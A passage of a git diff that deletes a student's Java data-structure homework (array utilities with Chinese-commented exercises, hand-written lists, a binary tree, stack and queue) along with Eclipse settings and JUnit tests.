-	}
-	@Test
-	public void testGetPerfectNumbers(){
-		System.out.println(Arrays.toString(t.getPerfectNumbers(7)));
-	}
-	@Test
-	public void testJoin(){
-		int [] array= {3,8,9};
-		System.out.println(t.join(array, "-"));
-	}
-}
diff --git a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java b/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
deleted file mode 100644
index 10089c1b3a..0000000000
--- a/group23/632678665/com/basic/week2/datastructure/ArrayUtil.java
+++ /dev/null
@@ -1,228 +0,0 @@
-package com.basic.week2.datastructure;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		int index=(int) (origin.length/2);
-		for(int i=0;i<index;i++){
-			int temp=origin[i];
-			origin[i]=origin[origin.length-1-i];
-			origin[origin.length-1-i]=temp;
-		}
-		System.out.println(Arrays.toString(origin));
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int [] removeZero(int[] oldArray){
-		ArrayList <Integer >array=new ArrayList <Integer>();
-		int from;
-		int to;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]==0){
-				to=i;
-				continue;
-			}
-			array.add(oldArray[i]);
-		}
-		int [] array2=new int[array.size()];
-		for(int i=0;i<array2.length;i++){
-			array2[i]=array.get(i);
-		}
-		return array2;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	@SuppressWarnings("unchecked")
-	public int[] merge(int[] array1, int[] array2){
-		List <Integer> list=new ArrayList<Integer>();
-		for(int i=0;i<array1.length;i++){
-			list.add(array1[i]);
-		}
-		for(int i=0;i<array2.length;i++){
-			list.add(array2[i]);
-		}
-		HashSet <Integer> set=new HashSet<Integer>();
-		set.addAll(list);
-		Object[] array=set.toArray();
-		int [] arrayInt=new int [array.length];
-		for(int i=0;i<array.length;i++){
-			arrayInt[i]=(int)array[i];
-		}
-		Arrays.sort(arrayInt);
-		return arrayInt;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		int length=oldArray.length+size;
-		int [] newArray=new int [length];
-		System.arraycopy(oldArray,0,newArray,0,oldArray.length);
-		return newArray;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		if(max==1){
-			return new int []{};
-		}
-		int front=1;
-		int behind=1;
-		int result=0;
-		List <Integer>list=new ArrayList<Integer>();
-		list.add(front);
-		list.add(behind);
-		while(true){
-			result=front+behind;
-			if(max<result){
-				break;
-			}
-			list.add(result);
-			front=behind;
-			behind=result;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		List<Integer> list=new ArrayList<Integer>();
-		int num=3;
-		list.add(2);
-		boolean flag=true;
-		while(true){
-			flag=true;
-			for(int i=2;i<num;i++){
-				if(num%i==0){
-					flag=false;
-					break;
-				}
-			}
-			if(max<=num){
-				break;
-			}
-			if(flag==true){
-				list.add(num);
-			}
-			num++;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		List <Integer> list=new ArrayList<Integer>();
-		Set <Integer> temp=new HashSet<Integer>();
-		int num=1;
-		int result=0;
-		while(true){
-			for(int i=1;i<num;i++){
-				if(num%i==0){
-					temp.add(i);
-				}
-			}
-			for(Integer i:temp){
-				result+=i;
-			}
-			if(num>max){
-				break;
-			}
-			if(num==result){
-				list.add(num);
-			}
-			temp.clear();
-			result=0;
-			num++;
-		}
-		int [] array=new int [list.size()];
-		for(int i=0;i<array.length;i++){
-			array[i]=list.get(i);
-		}
-		return array;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		List <String> list=new ArrayList<String>();
-		for(int i=0;i<array.length;i++){
-			list.add(new Integer(array[i]).toString());
-			if(i==array.length-1){
-				break;
-			}
-			list.add(seperator);
-		}
-		StringBuilder str=new StringBuilder();
-		for(String s:list){
-			str.append(s);
-		}
-		return str.toString();
-	}
-	
-}
diff --git a/group23/729693763/First_Homework1/.classpath b/group23/729693763/First_Homework1/.classpath
deleted file mode 100644
index 373dce4005..0000000000
--- a/group23/729693763/First_Homework1/.classpath
+++ /dev/null
@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
-	<classpathentry kind="src" path="src"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8"/>
-	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="output" path="bin"/>
-</classpath>
diff --git a/group23/729693763/First_Homework1/.project b/group23/729693763/First_Homework1/.project
deleted file mode 100644
index 5022bfb83c..0000000000
--- a/group23/729693763/First_Homework1/.project
+++ /dev/null
@@ -1,17 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<projectDescription>
-	<name>First_Homework1</name>
-	<comment></comment>
-	<projects>
-	</projects>
-	<buildSpec>
-		<buildCommand>
-			<name>org.eclipse.jdt.core.javabuilder</name>
-			<arguments>
-			</arguments>
-		</buildCommand>
-	</buildSpec>
-	<natures>
-		<nature>org.eclipse.jdt.core.javanature</nature>
-	</natures>
-</projectDescription>
diff --git a/group23/729693763/First_Homework1/.settings/org.eclipse.core.resources.prefs b/group23/729693763/First_Homework1/.settings/org.eclipse.core.resources.prefs
deleted file mode 100644
index 99f26c0203..0000000000
--- a/group23/729693763/First_Homework1/.settings/org.eclipse.core.resources.prefs
+++ /dev/null
@@ -1,2 +0,0 @@
-eclipse.preferences.version=1
-encoding/<project>=UTF-8
diff --git a/group23/729693763/First_Homework1/.settings/org.eclipse.jdt.core.prefs b/group23/729693763/First_Homework1/.settings/org.eclipse.jdt.core.prefs
deleted file mode 100644
index 3a21537071..0000000000
--- a/group23/729693763/First_Homework1/.settings/org.eclipse.jdt.core.prefs
+++ /dev/null
@@ -1,11 +0,0 @@
-eclipse.preferences.version=1
-org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
-org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
-org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
-org.eclipse.jdt.core.compiler.compliance=1.8
-org.eclipse.jdt.core.compiler.debug.lineNumber=generate
-org.eclipse.jdt.core.compiler.debug.localVariable=generate
-org.eclipse.jdt.core.compiler.debug.sourceFile=generate
-org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
-org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
-org.eclipse.jdt.core.compiler.source=1.8
diff --git a/group23/729693763/First_Homework1/readme.md b/group23/729693763/First_Homework1/readme.md
deleted file mode 100644
index 219dee010b..0000000000
--- a/group23/729693763/First_Homework1/readme.md
+++ /dev/null
@@ -1,2 +0,0 @@
-It contain source code and Test file by JUnit,
-you can run SuitTest for testing whole file.
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
deleted file mode 100644
index ccb3bcb12c..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/ArrayList.java
+++ /dev/null
@@ -1,117 +0,0 @@
-package com.danny.hw1;
-
-import java.lang.reflect.Array;
-import java.util.Arrays;
-
-import javax.print.attribute.Size2DSyntax;
-
-public class ArrayList implements List{
-	//ArrayList Size
-	private int size=0;
-	private int array_len=2;
-
-	//total element in here
-	private Object[] elementData = new Object[array_len];
-
-	@Override
-	public void add(Object o) {
-		// TODO Auto-generated method stub
-		adjustCapacity();
-		this.elementData[size++] = o;
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		// TODO Auto-generated method stub
-		//Check range. if index is invalid,then would not add anythings
-		rangeCheckForAdd(index);
-
-		adjustCapacity();
-		System.arraycopy(elementData, index, elementData, 
-						 index + 1,size - index);
-		this.elementData[index] = o;
-		this.size++;
-
-	}
-
-	@Override
-	public Object get(int index) {
-		// TODO Auto-generated method stub
-		rangeCheckExist(index);
-		
-		return elementData[index];
-
-	}
-
-	@Override
-	public Object remove(int index) {
-		// TODO Auto-generated method stub
-		rangeCheckExist(index);
-		
-		Object oldValue = elementData[index];
-		//deal with copy operation
-        int moveStep = size - index - 1;
-        if ( moveStep > 0 )
-            System.arraycopy(elementData, index+1, elementData, index,moveStep);
-        elementData[--size] = null; // clear to let GC do its work
-
-        return oldValue;
-
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return this.size;
-	}
-	
-	//Get Iterator
-	public Iterator iterator() {
-		return new ArrayListIterator();
-	}
-
-	/*******  Iterator  *******/
-	private class ArrayListIterator implements Iterator{
-
-		private int currentIndex = 0;
-		
-		@Override
-		public boolean hasNext() {
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			rangeCheckExist(currentIndex);
-			
-			return elementData[currentIndex++];
-		}
-	}
-	
-
-	/*******Inner function*******/
-	//Increase arraylist size
-	private void adjustCapacity(){
-		//array length can not satisfy data size;
-		if ( this.array_len < size() + 1 ) {
-			this.array_len *= 2;
-			this.elementData = Arrays.copyOf(elementData, array_len);
-		} else {
-			return ;
-		}
-	}
-
-	private void rangeCheckForAdd(int index) {
-		//Add operation is allow to add value in [ size() ] even if [ size() ] has not data
-		if ( index > size() || index < 0 )
-			throw new IndexOutOfBoundsException("Invalid Adding Index:"+index);
-	}
-	private void rangeCheckExist(int index) {
-		if ( index >= size() || index < 0 )
-			throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-
-
-
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java b/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
deleted file mode 100644
index 8e3178b50b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/BinaryTreeNode.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package com.danny.hw1;
-
-import java.util.Map;
-import java.util.TreeMap;
-
-public class BinaryTreeNode {
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public BinaryTreeNode insert(Object o){
-		if ( this.data == null && left == null && right == null ) {
-			this.data = o;
-			return this;
-		} else {
-			BinaryTreeNode temp = findNode(this, o);
-
-			BinaryTreeNode newNode = new BinaryTreeNode();
-			newNode.data = o;
-			//assert more than one null node in the temp(left,right,or both);
-			if ( temp.compareTo(o) >= 0 ) {
-				temp.left = newNode;
-			} else {
-				temp.right = newNode;
-			}
-			return newNode;
-		}
-	}
-		
-	public BinaryTreeNode() {
-		// TODO Auto-generated constructor stub
-		data=null;
-		left =null;
-		right = null;
-		
-	} 
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	private int compareTo(Object o){
-		// o1 > o2 == 1; o1 = o2 == 0 ; o1 < o2 == -1		
-		//假设这个比较现在只用在数字上
-		return Integer.parseInt(this.data.toString()) - Integer.parseInt(o.toString());
-	}
-	
-	private static BinaryTreeNode findNode(BinaryTreeNode root,Object o){
-		if ( root.left == null && root.right == null || 
-		   ( root.compareTo(o) < 0 && root.right == null) ||
-		   ( root.compareTo(o) >= 0 && root.left == null) ){
-			return root;
-		} else if ( root.compareTo(o) >= 0 ) {
-			//root data is bigger than object
-			return findNode(root.left, o);
-		} else {
-			return findNode(root.right, o);
-		}
-//			else if(root.compareTo(o) < 0 ){
-//			return findNode(root.right, o);
-//		}
-//		
-	}
-
-	//For Test value
-	private Map<Object, Integer> teMap = new TreeMap<>();
-	public void printWholeTree(BinaryTreeNode root,int layer){
-		if(root == null) {
-			return ;
-		}
-		teMap.put(root.data,layer);
-
-		layer++;
-		printWholeTree(root.left,layer);
-		printWholeTree(root.right,layer);
-		
-	}
-
-	public Map<Object,Integer > getTeMap() {
-		return teMap;
-	}
-
-	public void setTeMap(Map<Object, Integer> teMap) {
-		this.teMap = teMap;
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
deleted file mode 100644
index b1ff654263..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Iterator.java
+++ /dev/null
@@ -1,6 +0,0 @@
-package com.danny.hw1;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java b/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
deleted file mode 100644
index 64c9b9bbca..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/LinkedList.java
+++ /dev/null
@@ -1,296 +0,0 @@
-package com.danny.hw1;
-
-public class LinkedList implements List{
-
-	private Node Head = null;
-	private Node Tail = null;
-	private int size = 0;
-	
-	@Override
-	public void add(Object o) {
-		// TODO Auto-generated method stub			
-		addLastNode(o);		
-	}
-
-	@Override
-	public void add(int index, Object o) {
-		// TODO Auto-generated method stub
-		checkPositionIndex(index);
-		
-		if ( index == size() ){
-			addLastNode(o);
-		} else { 
-			addBeforeNode(index,o);
-		}	
-	}
-
-	@Override
-	public Object get(int index) {
-		// TODO Auto-generated method stub
-		checkElementIndex(index);
-		
-		Node findGetNode = findIndexNode(index);
-		return findGetNode.data;		
-	}
-
-	@Override
-	public Object remove(int index) {
-		// TODO Auto-generated method stub
-		checkElementIndex(index);
-		Node deleteNode = null;
-		
-		//delete all node
-		if ( size() == 1 ) {
-			deleteNode = this.Head;
-			this.Head = null;
-			this.Tail = null;			
-		} else if ( index == 0 ) {
-			//Remove Head
-			deleteNode = this.Head;
-			this.Head = this.Head.next;			
-		} else if ( index == size() - 1) {
-			//Remove Tail
-			deleteNode = this.Tail;
-			Node findDeleteNode = findIndexNode(index - 1);
-			findDeleteNode.next = null;
-			this.Tail = findDeleteNode;
-		} else {
-			//Remove Mid
-			Node findDeleteNode = findIndexNode(index - 1);
-			deleteNode = findDeleteNode.next;
-			findDeleteNode.next = findDeleteNode.next.next;
-		}
-		this.size--;
-		return deleteNode.data;
-	}
-
-	@Override
-	public int size() {
-		// TODO Auto-generated method stub
-		return this.size;
-	}
-	
-	@Override
-	public Iterator iterator(){
-		return new LinkedListIterator();
-	}
-	
-	/************Other function (without Interface function)**************/
-	
-	public void addFirst(Object o){
-		Node newNode = new Node();
-		newNode.data = o;
-		newNode.next = this.Head;
-		this.Head = newNode;
-	}
-	
-	public Object removeFirst(){
-		checkElementIndex(0);
-		
-		Node deleteNode = this.Head;
-		this.Head = this.Head.next;
-		
-		this.size--;
-		return deleteNode.data;
-	}
-	
-	public Object removeLast(){
-		checkElementIndex(size() - 1);
-		
-		Node deleteNode = this.Tail;
-		if ( this.Head == this.Tail ) {
-			this.Head = this.Tail = null;
-		} else {
-			this.Tail = findIndexNode(size() - 2);
-		}
-		this.size--;
-		return deleteNode.data;
-		
-	}
-	/************Iterator**************/
-	private class LinkedListIterator implements Iterator{
-		private Node currentNode;
-		private int currentIndex;
-		
-		public LinkedListIterator() {
-			// TODO Auto-generated constructor stub
-			this.currentIndex = 0;
-			this.currentNode = new Node();
-		}
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return currentIndex < size();
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			checkElementIndex(currentIndex);
-			if ( currentNode.data == null ) {
-				this.currentNode = findIndexNode(currentIndex);
-			}
-				Object value = currentNode.data;
-				currentNode = currentNode.next;
-				currentIndex++;
-			return value;
-		}	
-	}
-		
-	/************Node class for supporting LinkedList**************/
-	private static class Node{
-		Object data ;
-		Node next ;
-		public Node() {
-			// TODO Auto-generated constructor stub
-			data = null;
-			next = null;
-		}
-	}
-	
-	/************Inner function **************/
-	private void checkPositionIndex(int index){
-		 if ( !( index >= 0 && index <= size ) )
-			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-	
-	private void checkElementIndex(int index){
-		 if ( !( index >= 0 && index < size ) )
-			 throw new IndexOutOfBoundsException("Invalid Index:"+index);
-	}
-		
-	private void addLastNode(Object o){	
-		Node newNode = new Node();
-		newNode.data = o;
-		
-		if ( this.Head == null ) {
-			this.Head = newNode;
-			this.Tail = newNode;			
-		} else {
-			if(this.Head == this.Tail ){								
-				this.Tail = newNode;
-				this.Head.next = this.Tail;
-			}
-			else{
-			//Tail and Head are different Object, 			
-				this.Tail.next = newNode;
-				this.Tail = newNode;
-			}
-		}
-		this.size++;
-	}
-	
-	private void addBeforeNode(int index,Object o){
-		Node newNode = new Node();
-		Node beforeInserNode = this.Head;
-		newNode.data = o;
-
-		// if index is in Head
-		if ( index == 0 ) { 
-			newNode.next = this.Head;
-			this.Head = newNode;
-		} else {
-			for (int i=0; i<index ;i++ ){
-				beforeInserNode = beforeInserNode.next;
-			}
-			newNode.next = beforeInserNode.next;
-			beforeInserNode.next = newNode;
-		}
-
-		this.size++;
-	}
-	
-	private Node findIndexNode(int index){
-		Node findGetNode = this.Head;
-		for ( int i=0; i< index; i++ ) {
-			findGetNode = findGetNode.next;
-		}
-		return findGetNode;
-	}
-
-}
-
-
-
-
-
-
-
-
-
-//
-///**
-// * 把该链表逆置
-// * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-// */
-//public  void reverse(){		
-//	
-//}
-//
-///**
-// * 删除一个单链表的前半部分
-// * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-// * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-//
-// */
-//public  void removeFirstHalf(){
-//	
-//}
-//
-///**
-// * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-// * @param i
-// * @param length
-// */
-//public  void remove(int i, int length){
-//	
-//}
-///**
-// * 假定当前链表和list均包含已升序排列的整数
-// * 从当前链表中取出那些list所指定的元素
-// * 例如当前链表 = 11->101->201->301->401->501->601->701
-// * listB = 1->3->4->6
-// * 返回的结果应该是[101,301,401,601]  
-// * @param list
-// */
-//public static int[] getElements(LinkedList list){
-//	return null;
-//}
-//
-///**
-// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 从当前链表中中删除在list中出现的元素 
-//
-// * @param list
-// */
-//
-//public  void subtract(LinkedList list){
-//	
-//}
-//
-///**
-// * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-// */
-//public  void removeDuplicateValues(){
-//	
-//}
-//
-///**
-// * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-// * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-// * @param min
-// * @param max
-// */
-//public  void removeRange(int min, int max){
-//	
-//}
-//
-///**
-// * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-// * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-// * @param list
-// */
-//public  LinkedList intersection( LinkedList list){
-//	return null;
-//}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java b/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
deleted file mode 100644
index e71a86c78d..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/List.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.danny.hw1;
-
-public interface List {
-	void add(Object o);
-	void add(int index,Object o);
-	Object get(int index);
-	Object remove(int index);
-	int size();
-	Iterator iterator();
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
deleted file mode 100644
index 58f957dd31..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Queue.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.danny.hw1;
-
-public class Queue {
-	private LinkedList elementData = new LinkedList();
-
-	public void enQueue(Object o){	
-		elementData.add(o);
-	}
-
-	public Object deQueue(){
-		if ( size() > 0 ) {
-			return elementData.remove(0);
-		} else {
-			throw new IndexOutOfBoundsException("Queue is Null");
-		}
-	}
-
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java b/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
deleted file mode 100644
index 165387695b..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/Stack.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.danny.hw1;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-
-	public void push(Object o){
-		this.elementData.add(o);
-
-	}
-
-	public Object pop(){		
-		int size = this.elementData.size();
-
-		if ( size > 0 ) {
-			return this.elementData.remove(size - 1 );
-		} else{
-			throw new IndexOutOfBoundsException("Stack is empty");
-		}
-	}
-
-	public Object peek(){
-
-		if ( size() > 0 ) {
-			return this.elementData.get(size() - 1 );
-		} else{
-			throw new IndexOutOfBoundsException("Stack is empty");
-		}
-	}
-	public boolean isEmpty(){
-		return size() == 0;
-	}
-
-	public int size(){
-		return this.elementData.size();
-	}
-
-	public Stack() {
-		// TODO Auto-generated constructor stub
-	}
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
deleted file mode 100644
index de4c734eb8..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/ArrayListTest.java
+++ /dev/null
@@ -1,80 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import java.lang.reflect.Array;
-import java.lang.reflect.Parameter;
-import java.util.Arrays;
-import java.util.Collection;
-
-import javax.print.attribute.standard.RequestingUserName;
-import javax.xml.crypto.Data;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameters;
-
-import com.danny.hw1.ArrayList;
-import com.danny.hw1.Iterator;
-import com.danny.hw1.test_al;
-
-import junit.extensions.TestSetup;
-
-
-public class ArrayListTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	ArrayList test;
-	@Before
-	public void setUp() throws Exception{
-		test = new ArrayList();
-		for(Object data: Data){
-			test.add(data);
-		}
-	}
-	
-	@Test
-	public void testAddObject() {
-		int len = test.size();
-		test.add(10);
-		assertEquals(len, test.size()-1);
-	}
-	
-	@Test
-	public void testAddIntObject() {
-		int len = test.size();
-		test.add(len, 10);
-		
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testGet() {
-		assertEquals(Data[3], test.get(3));
-	}
-
-	@Test
-	public void testRemove() {
-		assertEquals(Data[4], test.remove(4));
-		assertEquals(Data.length-1, test.size());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIterator() {
-		Iterator iterator =test.iterator();
-		for(Object i:Data){
-			if(iterator.hasNext()){
-				assertEquals(i,iterator.next());
-			}
-		}
-	}
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
deleted file mode 100644
index 2d99534098..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/BinaryTreeNodeTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.BinaryTreeNode;
-import com.danny.hw1.LinkedList;
-
-public class BinaryTreeNodeTest {
-
-	static Object[] Data = new Object[]{5,10,3,2,15,12,56,8};
-	BinaryTreeNode test;
-	@Before
-	public void setUp() throws Exception{
-		test = new BinaryTreeNode();
-		for(Object data: Data){
-			test.insert(data);
-			
-		}
-	}
-	@Test
-	public void testPrintWholeTree(){
-		test.printWholeTree(test, 1);
-		int layer = 1;
-		int printNum = 0;
-		System.out.println("var {5,10,3,2,15,12,56,8} insert tree\n"+"Print binary tree:");
-		while(true){
-			if(printNum == test.getTeMap().size()) break;
-			for (Object key : test.getTeMap().keySet()) {
-				Integer value = test.getTeMap().get(key);
-
-				if (value.intValue() == layer){
-					System.out.print(key.toString()+"   ");
-					printNum++;
-				}
-				
-			}
-			System.out.println("");
-			layer++;
-		}
-		
-		
-	}
-	
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
deleted file mode 100644
index ab49d2823c..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/LinkedListTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.ArrayList;
-import com.danny.hw1.Iterator;
-import com.danny.hw1.LinkedList;
-
-public class LinkedListTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	LinkedList test;
-	@Before
-	public void setUp() throws Exception{
-		test = new LinkedList();
-		for(Object data: Data){
-			test.add(data);
-		}
-	}
-
-	@Test
-	public void testAddObject() {
-		int len = test.size();
-		test.add(10);
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testAddIntObject() {
-		int len = test.size();
-		test.add(len, 10);
-		
-		assertEquals(len, test.size()-1);
-	}
-
-	@Test
-	public void testGet() {
-		assertEquals(Data[3], test.get(3));
-	}
-
-	@Test
-	public void testRemove() {
-		System.out.println(Data[4]);
-		assertEquals(Data[4], test.remove(4));
-		assertEquals(Data.length -1, test.size());
-	}
-
-	@Test
-	public void testSize() {
-		assertEquals(Data.length, test.size());
-	}
-
-	@Test
-	public void testIterator() {
-		Iterator iterator =test.iterator();
-		for(Object i:Data){
-			if(iterator.hasNext()){
-				assertEquals(i,iterator.next());
-			}
-		}
-	}
-
-	@Test
-	public void testAddFirst() {
-		test.addFirst(10);
-		assertEquals(10, test.get(0));
-	}
-
-	@Test
-	public void testRemoveFirst() {
-		Object ans=test.get(0);
-		assertEquals(ans,test.removeFirst());
-		assertEquals(Data.length-1,test.size());
-	}
-
-	@Test
-	public void testRemoveLast() {
-		Object ans=test.get(Data.length - 1);
-		assertEquals(ans,test.removeLast());
-		assertEquals(Data.length-1,test.size());
-	}
-
-}
diff --git a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java b/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
deleted file mode 100644
index 7292129e95..0000000000
--- a/group23/729693763/First_Homework1/src/com/danny/hw1/test/QueueTest.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.danny.hw1.test;
-
-import static org.junit.Assert.*;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import com.danny.hw1.LinkedList;
-import com.danny.hw1.Queue;
-
-public class QueueTest {
-
-	static Object[] Data = new Object[]{1,2,3,4,5,6,7,8};
-	Queue test;
-	@Before
-	public void setUp() throws Exception{
-		test = new Queue();
-		for(Object data: Data){
-			test.enQueue(data);
-		}
-	}
-
-	@Test
-	public void testEnQueue() {
-		Object t=10;
-		test.enQueue(t);	
